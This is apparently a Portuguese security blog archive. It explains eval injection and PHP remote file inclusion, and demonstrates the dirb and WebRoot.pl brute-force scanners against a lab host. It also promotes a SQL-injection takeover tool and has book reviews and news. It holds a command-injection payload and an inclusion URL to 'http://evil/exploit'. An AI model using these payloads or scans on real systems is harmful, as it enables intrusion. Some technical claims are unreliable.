jump to navigation

Eval() December 16, 2011

Posted by y2h4ck in Devel, Ethical Hacking, Web Hacking.
add a comment

A função eval() é muito utilizada por facilitar a vida de desenvolvedores transformando strings em instruções javascript e executando-as em seguida (desde que a instrução esteja correta).

Vejamos abaixo um exemplo de código javascript:

 

document.getElementById("meubotaovoltar").onclick = function () {
if (historicode1 == "home") { //historicode1 é minha variável que recebe o valor do último item clicado
location.href="home.htm"; //faz a chamada da página
} else if (historicode1 == "contatos") {
location.href="contatos.htm"
}

 

E a seguir o mesmo código acima porém utilizando a função eval():

 

document.getElementById("meubotaovoltar").onclick = function () {
eval("location.href="+historicode1+".htm");
}

 

A função minimizou totalmente o código. Por tratar o conteúdo de forma dinamica a função Eval() pode ser abusada de varias formas e um dos ataques mais difundidos é o Eval Injection.

Este ataque consiste na injeção de scripts que não são validados de forma apropriada pelo input de dados de usuário como parâmetro no site. Um usuário remoto pode inserir uma URL especialmente criada para enviar dados arbitrários para a função eval(). Isso resultará na execução do código pelo sistema vulneravel.

O ataque irá executar o código com a mesma permissão que o web service está executando no servidor remoto, isso inclui comandos executados no sistema.

 

Exemplo 01 : Sistema vulnerável a Eval Injection.

Vejamos o código abaixo:

$myvar = “varname”;

$x = $_GET['arg'];

eval(“\$myvar = \$x;”);

 

 

Como pode ser visto acima a variavel $arg é repassada via parametro GET e  em seguida é processada dentro da chamada eval().  Poderiamos explorar facilmente isto setando o valor da variavel para “10; system(\”/bin/passwd\”);”. Neste caso o webserver iria executar o comando no sistema e exibiria todos os usuários do Linux;

 

Exemplo 2:  Injetando arquivos remotes para explorar a função vulnerável.

Vejamos o código a seguir:

 

<?php
   $color = 'blue';
   if ( isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
<form>
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

 

Colocando red/blue o programador pensou que poderia garantir que somente blue.php e red.php poderiam ser carregados. Porem como qualquer um poderia simplesmente inserir dados arbitrários na variável COLOR, é possivel injetar códigos a partir de arquivos:

  • /vulnerable.php?COLOR=http://evil/exploit   : Isto injetaria um arquivo remoto malicioso
  • /vulnerable.php?COLOR=C:\ftp\upload\exploit : Isto poderia carregar um arquivo que foi feito upload para o server.

 

Como podem ver as vulnerabilidades relacionadas a dados inseridos como variáveis não validadas podem trazer diversos problemas, em especial a função eval() por ser utilizada em larga escala pode prejudicar consideravelmente a segurança de sua aplicação e servidores.

Web Application Brute-Force Attacks. December 8, 2011

Posted by y2h4ck in Devel, Ethical Hacking, Web Hacking.
add a comment

 

O ataque de Brute-force sempre foi muito comum em serviços disponibilizados remotamente tais quais, ftp, smtp, pop entre outros. Em geral este ataque por si só não apresenta um risco muito grave, porém pode ser utilizado como vetor para ataques mais complexos que podem explorar falhas na infra-estrutura que vão desde políticas mal configuradas de permissões, política de senha ineficiente ou inexistente entre outras.

Durante este tipo de ataque, o atacante tenta transpor mecanismos de segurança como por exemplo sistemas de autenticação, proteção de diretórios por senha e etc, tendo como base um mínimo conhecimento sobre o alvo.

Existem basicamente 2 métodos que podem ser empregados neste tipo de ataque o ataque de dicionário e o de força-bruta.

Dicionário: O atacante utiliza um catalogo pré-formatado onde no caso são utilizadas strings que contém possíveis resultados e que em geral utilizam senhas padrão comumente utilizadas, nomes de pastas utilizadas e etc. Em geral este tipo de ataque tende a ser direcionado.

Força-Bruta: O atacante utiliza classes de caracteres ex: alfanumerica, especiais, case sensitive e etc. Neste caso específico este tipo de método demanda muito tempo e seu percentual de aproveitamento é muito baixo assim como gera muito alarde durante o ataque fazendo com que possíveis mecanismos de segurança como IDSs, IPSs e etc sejam acionados.

 

Em sua grande maioria ataques de brute-force são utilizados para conseguir senhas de usuários para controle de acesso de aplicações e sistemas. Entretanto existem diversas ferramentas que utiliza esta técnica para examinar web services, procurar pastas contendo arquivos que possam conter senhas de banco de dados, assim como testar como a aplicação se comporta utilizando diferentes data forms (GET/POST) assim como identificar Session-IDs de usuários. Especialmente em aplicações web o ataque de brute-force pode ser utilizado para

- Conseguir cookies de acesso a sessões de usuários;

- Usuários e senhas de diretórios protegidos;

- SessionID de aplicações;

- Arquivos de include contendo dados sensíveis como senhas de banco de dados entre outras.

Veremos abaixo alguns exemplos de ferramentas que podem ajudar durante o teste de aplicações web e descobrir se estamos vulneraveis a este tipo de ataque.

 

 

Para testes em serviços web existem 2 ferramentas  interesssantes:

-dirb (http://sourceforge.net/projects/dirb)

-webroot (http://www.cirt.dk/tools/webroot/WebRoot.txt)

 

A ferramenta dirb consiste em uma ferramenta com opções mais avançadas e pode ser utilizada para:

- setar diferentes cookies

- adicionar qualquer tipo de HTTP header desejado

- utilizar proxys para mascarar a conexão

- Utilizar catalogos ou arquivos utilizando dicionários definidos ou templates fazendo uma varredura direcionada.

Podemos fazer um teste simples utilizando-a:

[root@localhost /]$  ./dirb http://laboratorio.test/

—————–

DIRB v1.9

By The Dark Raver

—————–

START_TIME: Mon Jul  9 23:13:16 2007

URL_BASE: http://laboratorio.test/

WORDLIST_FILES: wordlists/common.txt

SERVER_BANNER: apache/3.2.2

NOT_EXISTANT_CODE: 404 [NOT FOUND]

(Location: ” – Size: 345)

 

—————–

 

Generating Wordlist…

Generated Words: 839

 

—- Scanning URL: http://laboratorio.test/ —-

FOUND: http://laboratorio.test/phpmyadmin/

(***) DIRECTORY (*)

 

 

No output da ferramenta somos informados que a pasta phpmyadmin/  foi encontrada. Um atacante poderia agora efetuar um ataque direcionado para a aplicação PHPMyAdmin, como por exemplo tentar senhas de acesso default ou utilizar exploits para a versão em uso do PHPmyAdmin.

 

 

Um dos maiores problemas com ferramentas como o dirb é reconhecer se a mensagem de retorno do servidor  é a esperada ou não. Em casos onde o servidor  tem configurações avançadas (exemplo utilizando mod_rewrite) ferramentas automaticas não conseguem distinguir uma mensagem de resposta do servidor  sobre um determinado erro ao acessar uma pasta ou arquivo.

A aplicação WebRoot.pl escrita pelo CIRT.DK, tem mecanismos embutidos para trabalhar as respostas do servidor,  e baseado na frase especificada pelo atacante, consegue identificar se a resposta do servidor  é a esperada ou não.

./WebRoot.pl -noupdate -host laboratorio.test -port 80 -verbose -match “senha” -url “/private/<BRUTE>” -incremental lowercase -minimum 1 -maximum 1

 

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

o          Webserver Bruteforcing 1.8          o

0  ************* !!! WARNING !!! ************  0

0  ******* FOR PENETRATION USE ONLY *********  0

0  ******************************************  0

o       (c)2007 by Dennis Rand – CIRT.DK       o

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

[X] Checking for updates                – NO CHECK

[X] Checking for False Positive Scan    – OK

[X] Using Incremental                   – OK

[X] Starting Scan                       – OK

GET /private/b HTTP/1.1

GET /private/z HTTP/1.1

[X] Scan complete                       - OK

[X] Total attempts                      – 26

[X] Sucessfull attempts                 – 1

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

WebRoot.pl encontrou um arquivo /private/b no laboratorio.test, que contem a frase “senha: 123mudar”

Ferramentas para Identificar e proteger contra brute-forc e em aplicações Web.

Php-Brute-Force-Attack Detector

http://yehg.net/lab/pr0js/files.php/php_brute_force_detect.zip

Esta ferramenta detecta se seu servidor esta sendo scanniado por ferramentas de brute-force como  WFuzz, Owasp DirBuster e scans e vulnerabilidades como Nessus, Nikto, Acunetix, etc. Ela pode ajudar você a rapidamente identificar possíveis hosts utilizados por atacantes que ficam efetuando testes em sua aplicações para identificar brechas e possíveis falhas de segurança

 

 

Start your Engines … December 5, 2011

Posted by y2h4ck in General Hacking.
add a comment

Olá pessoal,

Depois de muito tempo, tendo que retirar minha atenção do blog, estou de volta.

Muitas vezes precisamos apenas de um pequeno incentivo para dar continuidade a certas coisas, e dizer que eu não atualizava o blog por falta de tempo seria no mínimo mentira de minha parte.

Porém aqui estou, e para ficar.

Irei postar novos artigos no mínimo uma vez por semana. Espero que os senhores apreciem.

Happy Hacking 4 You ! :)

Graudit – Source Code Static Auditor August 10, 2010

Posted by y2h4ck in General Hacking.
1 comment so far

GRAUDIT
Graudit is a simple script and signature sets that allows you to find potential security flaws in source code using the GNU utility grep. It’s comparable to other static analysis applications like RATS, SWAAT and flaw-finder while keeping the technical requirements to a minimum and being very flexible.

Graudit supports scanning code written in several languages; asp, jsp, perl, php and python.

USAGE
Graudit supports several options and tries to follow good shell practices. For
a list of the options you can run graudit -h or see below. The simplest way to use
graudit is;
graudit /path/to/scan

DEPENDENCIES
Required: bash, grep, sed

DOCUMENTATION
See the readme file and frequently asked questions.
DOWNLOAD
You can download the latest version from the graudit download page.

SOURCE
Graudit is available from github, you can check the github project page or check it out directly using git from git://github.com/wireghoul/graudit.git

SCREENSHOT


Ataques de Brute-Force em Aplicações Web March 25, 2010

Posted by y2h4ck in General Hacking.
add a comment

O ataque de Brute-force sempre foi muito comum em serviços disponibilizados remotamente tais quais, ftp, smtp, pop entre outros. Em geral este ataque por si só não apresenta um risco muito grave, porém pode ser utilizado como vetor para ataques mais complexos que podem explorar falhas na infra-estrutura que vão desde políticas mal configuradas de permissões, política de senha ineficiente ou inexistente entre outras.

Durante este tipo de ataque, o atacante tenta transpor mecanismos de segurança como por exemplo sistemas de autenticação, proteção de diretórios por senha e etc, tendo como base um mínimo conhecimento sobre o alvo.

Existem basicamente 2 métodos que podem ser empregados neste tipo de ataque o ataque de dicionário e o de força-bruta.

Dicionário: O atacante utiliza um catalogo pré-formatado onde no caso são utilizadas strings que contém possíveis resultados e que em geral utilizam senhas padrão comumente utilizadas, nomes de pastas utilizadas e etc. Em geral este tipo de ataque tende a ser direcionado.

Força-Bruta: O atacante utiliza classes de caracteres ex: alfanumerica, especiais, case sensitive e etc. Neste caso específico este tipo de método demanda muito tempo e seu percentual de aproveitamento é muito baixo assim como gera muito alarde durante o ataque fazendo com que possíveis mecanismos de segurança como IDSs, IPSs e etc sejam acionados.

Em sua grande maioria ataques de brute-force são utilizados para conseguir senhas de usuários para controle de acesso de aplicações e sistemas. Entretanto existem diversas ferramentas que utiliza esta técnica para examinar web services, procurar pastas contendo arquivos que possam conter senhas de banco de dados, assim como testar como a aplicação se comporta utilizando diferentes data forms (GET/POST) assim como identificar Session-IDs de usuários. Especialmente em aplicações web o ataque de brute-force pode ser utilizado para

- Conseguir cookies de acesso a sessões de usuários;

- Usuários e senhas de diretórios protegidos;

- SessionID de aplicações;

- Arquivos de include contendo dados sensíveis como senhas de banco de dados entre outras.

Veremos abaixo alguns exemplos de ferramentas que podem ajudar durante o teste de aplicações web e descobrir se estamos vulneraveis a este tipo de ataque.

Para testes em serviços web existem 2 ferramentas  interesssantes:

-dirb (http://sourceforge.net/projects/dirb)

-webroot (http://www.cirt.dk/tools/webroot/WebRoot.txt)

A ferramenta dirb consiste em uma ferramenta com opções mais avançadas e pode ser utilizada para:

- setar diferentes cookies

- adicionar qualquer tipo de HTTP header desejado

- utilizar proxys para mascarar a conexão

- Utilizar catalogos ou arquivos utilizando dicionários definidos ou templates fazendo uma varredura direcionada.

Podemos fazer um teste simples utilizando-a:

[root@localhost /]$  ./dirb http://laboratorio.test/

—————–

DIRB v1.9

By The Dark Raver

—————–

START_TIME: Mon Jul  9 23:13:16 2007

URL_BASE: http://laboratorio.test/

WORDLIST_FILES: wordlists/common.txt

SERVER_BANNER: apache/3.2.2

NOT_EXISTANT_CODE: 404 [NOT FOUND]

(Location: ” – Size: 345)

—————–

Generating Wordlist…

Generated Words: 839

—- Scanning URL: http://laboratorio.test/ —-

FOUND: http://laboratorio.test/phpmyadmin/

(***) DIRECTORY (*)

No output da ferramenta somos informados que a pasta phpmyadmin/  foi encontrada. Um atacante poderia agora efetuar um ataque direcionado para a aplicação PHPMyAdmin, como por exemplo tentar senhas de acesso default ou utilizar exploits para a versão em uso do PHPmyAdmin.

Um dos maiores problemas com ferramentas como o dirb é reconhecer se a mensagem de retorno do servidor  é a esperada ou não. Em casos onde o servidor  tem configurações avançadas (exemplo utilizando mod_rewrite) ferramentas automaticas não conseguem distinguir uma mensagem de resposta do servidor  sobre um determinado erro ao acessar uma pasta ou arquivo.

A aplicação WebRoot.pl escrita pelo CIRT.DK, tem mecanismos embutidos para trabalhar as respostas do servidor,  e baseado na frase especificada pelo atacante, consegue identificar se a resposta do servidor  é a esperada ou não.

./WebRoot.pl -noupdate -host laboratorio.test -port 80 -verbose -match “senha” -url “/private/<BRUTE>” -incremental lowercase -minimum 1 -maximum 1

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

o          Webserver Bruteforcing 1.8          o

0  ************* !!! WARNING !!! ************  0

0  ******* FOR PENETRATION USE ONLY *********  0

0  ******************************************  0

o       (c)2007 by Dennis Rand – CIRT.DK       o

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

[X] Checking for updates                – NO CHECK

[X] Checking for False Positive Scan    – OK

[X] Using Incremental                   – OK

[X] Starting Scan                       – OK

GET /private/b HTTP/1.1

GET /private/z HTTP/1.1

[X] Scan complete                       - OK

[X] Total attempts                      – 26

[X] Sucessfull attempts                 – 1

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

WebRoot.pl encontrou um arquivo /private/b no laboratorio.test, que contem a frase “senha: 123mudar”

Ferramentas para Identificar e proteger contra brute-forc e em aplicações Web.

Php-Brute-Force-Attack Detector

http://yehg.net/lab/pr0js/files.php/php_brute_force_detect.zip

Esta ferramenta detecta se seu servidor esta sendo scanniado por ferramentas de brute-force como  WFuzz, Owasp DirBuster e scans e vulnerabilidades como Nessus, Nikto, Acunetix, etc. Ela pode ajudar você a rapidamente identificar possíveis hosts utilizados por atacantes que ficam efetuando testes em sua aplicações para identificar brechas e possíveis falhas de segurança

Book of Month: January January 20, 2010

Posted by y2h4ck in General Hacking.
Tags: , ,
add a comment

Code Hacking: A Developer’s Guide To Network Security
Author: Richard Conway, Julian Cordingley
Publisher: Charles River Media
Year: 2004
Pages: 450
Amazon’s book description: Developer’s Guide to Network Security provides a hands-on approach to learning the vital security skills. It details the software and techniques hackers use and provides practical insights on what’s really important in understanding hacking issues. The book cuts through the cursory issues and quickly delves into the essentials at a code and implementation level. It teaches users how to write and use scanners, sniffers, exploits, and more. It also helps developers write network security test harnesses for application and infrastructure. In addition, it covers how to create passive defense strategies to collect data on hackers, as well as how to use active defense strategies through techniques such as penetration testing. Unlike other books on hacking, Code Hacking takes a unique approach that covers hacking issues using a variety of languages. Software explanations and code samples are provided in C#, C++, Java, and Perl, allowing developers to learn from a variety of perspectives. The companion CD-ROM contains a custom security scanner written in C#. This scanner is a combination of a port and vulnerability scanner that scans IP addresses, allows certain services to be “brute forced,” and exploits well-known vulnerabilities.

Rapid-7 compra o Metasploit!! October 29, 2009

Posted by y2h4ck in Other Stuff.
add a comment

Bom, aconteceu o que muitos esperavam e/ou temiam: O metasploit foi comprado!

A responsável pelo feito foi a empresa Rapid-7,  que atua no mercado de venda de soluções para análise de vulnerabilidades e possui um framework que ao que parece irá assimilar o metasploit em sua engine para efetuar testes de penetração.

Segundo uma nota feita pelo CEO da Rapid-7, essa aquisição não irá impactar na distribuição do Metasploit em sua versão OpenSource ainda que ela será apoiada e suportada por toda a infra-estrutura da empresa.

HD Moore, fundador do projeto Metasploit irá ficar como responsável por coordenar o desenvolvimento da parte de engenharia das engines do metasploit junto à ferramenta da Rapid-7 e também como CSO da empresa.

Respondendo aos lamúrios da comunidade dependente e fan do Metasploit HD Moore disse que irá manter em contrato a continuidade do Metasploit Framework OpenSource e que não e preciso Pánico.

 

Bom … não quero ser pessimista, longe de mim, porém todos nós ja vimos essa história e não foi apenas uma vez, podemos citar os casos de :

- Nessus

- SAINT

Ambos eram ferramentas de muita fama no cenário opensource, viraram software proprietário prometendo manter suas versões opensource, e qual foi a sucessão dos fatos:

- Versão OpenSource com Ongoing Updates cada vez mais raros seguida de versões cada vez mais limitadas e por fim, extinção total do suporte, restando apenas a versão Proprietária.

Tenham medo meus amigos … tenham mto medo !

Curso: Web Application Hacking September 30, 2009

Posted by y2h4ck in General Hacking.
add a comment

Convido todos os visitantes deste blog de São Paulo/Capital e região à participar de um Tracking de Segurança cujo tema é Web Application Hacking. O tracking consiste de um curso com a duração de um Sábado (das 9:00 as 19:00) com conteúdo voltado a testes de penetração em aplicações Web. Totalmente interativo e dinámico, todos os tópicos serão abordados utilizando alto conteúdo teórico, challenges e laboratórios utilizando exemplos que visam adequar todo o conteúdo a realidade.

Entre os Tópicos abordados teremos:

- Code Quality Audit

- SQL Injection (sql/mysql)

- XSS

- XSFR

- Session Hijacking

- Remote File Injections

- Local File injections

- Data Tampering

- Veb Tampering

- Ajax Hacking

- HTTP Splitting Attacks

- Cookies Stealt

Entre muitos outros.

Para o conteúdo programático completo, datas e conteúdo utilizado  assim como valor, favor entrar em contato com pelo email y2h4ck@gmail.com

As datas serão divulgadas assim que as turmas de 15 pessoas estiverem completas. O valor é acessível e acredito que seja uma grande adição ao curriculum de profissionais de segurança.

O curso sera agendado para um sabado de Outubro, quanto antes tivemos o numero minimo de pessoas, antes faremos :)

Envie junto ao e-mail sua sugestao de data.

Forte abraco a todos.

MySqloit – SQL Injection Takeover tool September 9, 2009

Posted by y2h4ck in General Hacking, Pentesting.
Tags: , ,
add a comment

MySloit é uma tool para exploração de falhas de SQL Injection focada em LAMP(Linux, Apache, MySQL,PHP) e WAMP (Windows, Apache, MySQL,PHP). Ele tem a habilidade de fazer upload e executar shellcodes do metasploit através de falhas de MySQL SQL Injection.

Atacantes efeutando SQL Injection em MySQL-PHP podem acabar se deparando com diversas limitações ao contrário do mesmo cenário ocorrendo em um Windows com SQL Server que permite muito mais facilidades para escalar privilégios e etc. Por exemplo a falta de multiplos statements em uma query faz o MySQL uma plataforma pouco popular para remote code execution. Essa ferramenta foi escrita justamente para demonstrar como a execução remota de códigos pode ser executada em um connector de banco de dados que não suporta stack queries.

Plataforma Suportada:

1) Linux

Key Features

1) SQL Injection detection using time based injection method

2) Database fingerprint

2) Web server directory fingerprint

3) Payload creation and execution

Download: Aqui

Faça o teste e mande os resultados aqui para que eu possa postar no blog :)

Good Hacking 4 All.

Book of Month: September September 3, 2009

Posted by y2h4ck in General Hacking.
Tags: , , , ,
add a comment

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes
Author: Chris Anley, John Heasman, Felix Linder, Gerardo Richarte
Publisher: Wiley
Year: 2007
Pages: 718
Amazon’s book description: This much-anticipated revision, written by the ultimate group of top security experts in the world, features 40 percent new content on how to find security holes in any operating system or application. New material addresses the many new exploitation techniques that have been discovered since the first edition, including attacking “unbreakable” software packages such as McAfee’s Entercept, Mac OS X, XP, Office 2003, and Vista. Also features the first-ever published information on exploiting Cisco’s IOS, with content that has never before been explored. The companion Web site features downloadable code files.
Follow

Get every new post delivered to your Inbox.